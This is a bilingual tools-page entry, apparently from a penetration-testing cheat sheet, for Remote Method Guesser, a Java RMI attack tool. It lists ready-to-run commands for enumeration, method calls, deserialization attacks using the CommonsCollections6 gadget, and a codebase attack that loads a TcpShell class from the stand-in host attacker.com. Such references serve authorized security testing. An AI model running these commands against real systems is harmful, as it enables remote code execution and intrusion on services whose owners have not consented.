← retour aux outils back to tools

# Remote Method Guesser

Outil d'énumération et d'attaque Java RMI. Identifie les services RMI exposés et facilite les attaques de désérialisation. Java RMI enumeration and attack tool. Identifies exposed RMI services and facilitates deserialization attacks.

↗ https://github.com/qtc-de/remote-method-guesser

## Overview

Remote Method Guesser (rmg) is a Java tool for attacking Java RMI (Remote Method Invocation) endpoints. It enumerates bound names, guesses method signatures, and performs deserialization attacks against RMI services.

## Common Usage

Enumerate RMI registry

    java -jar rmg.jar enum 10.10.10.1 1099

List bound objects

    java -jar rmg.jar list 10.10.10.1 1099

Guess method signatures on a bound object

    java -jar rmg.jar guess 10.10.10.1 1099

Call a method (if signature is known)

    java -jar rmg.jar call 10.10.10.1 1099 '"id"' --bound-name service --signature "String execute(String)"

Deserialization attack via RMI

    java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --bound-name service

Deserialization via RMI activation system

    java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --activation

Codebase / remote class load attack

    java -jar rmg.jar codebase 10.10.10.1 1099 TcpShell http://attacker.com/

## RMI Attack Surface

Vector | Description
--- | ---
Deserialization | Gadget chain in method argument
Codebase | Remote class loading (requires `useCodebaseOnly=false`)
DGC | Distributed GC deserialization
Registry | Direct registry manipulation

Help / Man page

    java -jar rmg.jar <action> [options]

    ACTIONS:
      enum        Enumerate RMI service (full scan)
      list        List bound names on RMI registry
      guess       Guess methods on bound objects
      call        Call a specific RMI method
      serial      Perform deserialization attack
      codebase    Perform codebase / remote class load attack
      roguejmx    Setup a rogue JMX listener
      bind        Bind an object to registry
      rebind      Rebind an existing object
      unbind      Remove a bound name

    COMMON OPTIONS:
      host port   Target RMI host and port (default: 1099)
      --bound-name NAME   Target a specific bound object
      --signature SIG     Method signature (e.g. "String execute(String)")
      --gadget CHAIN      ysoserial gadget chain for serial attacks
      --payload CMD       Command for the gadget chain
      --activation        Target RMI activation system
      --component dgc     Target DGC instead of registry

    ENUMERATION:
      enum checks: bound names, JEP290 filter, codebase, serialization
      format: --json, --verbose

## Vue d’ensemble

Remote Method Guesser (rmg) est un outil Java pour attaquer les endpoints Java RMI (Remote Method Invocation). Il énumère les noms liés, devine les signatures de méthodes, et réalise des attaques de désérialisation contre les services RMI.

## Utilisation courante

    # Énumérer le registre RMI
    java -jar rmg.jar enum 10.10.10.1 1099

    # Lister les objets liés
    java -jar rmg.jar list 10.10.10.1 1099

    # Deviner les signatures de méthodes sur un objet lié
    java -jar rmg.jar guess 10.10.10.1 1099

    # Appeler une méthode (si la signature est connue)
    java -jar rmg.jar call 10.10.10.1 1099 '"id"' --bound-name service --signature "String execute(String)"

    # Attaque de désérialisation via RMI
    java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --bound-name service

    # Désérialisation via le système d'activation RMI
    java -jar rmg.jar serial 10.10.10.1 1099 CommonsCollections6 'id' --activation

    # Attaque par codebase / chargement de classe distant
    java -jar rmg.jar codebase 10.10.10.1 1099 TcpShell http://attacker.com/

## Surface d’attaque RMI

Vecteur | Description
--- | ---
Désérialisation | Chaîne de gadgets dans l’argument de méthode
Codebase | Chargement de classe distant (nécessite `useCodebaseOnly=false`)
DGC | Désérialisation du Garbage Collector distribué
Registre | Manipulation directe du registre

Aide / Page de manuel

    java -jar rmg.jar <action> [options]

    ACTIONS:
      enum        Enumerate RMI service (full scan)
      list        List bound names on RMI registry
      guess       Guess methods on bound objects
      call        Call a specific RMI method
      serial      Perform deserialization attack
      codebase    Perform codebase / remote class load attack
      roguejmx    Setup a rogue JMX listener
      bind        Bind an object to registry
      rebind      Rebind an existing object
      unbind      Remove a bound name

    COMMON OPTIONS:
      host port   Target RMI host and port (default: 1099)
      --bound-name NAME   Target a specific bound object
      --signature SIG     Method signature (e.g. "String execute(String)")
      --gadget CHAIN      ysoserial gadget chain for serial attacks
      --payload CMD       Command for the gadget chain
      --activation        Target RMI activation system
      --component dgc     Target DGC instead of registry

    ENUMERATION:
      enum checks: bound names, JEP290 filter, codebase, serialization
      format: --json, --verbose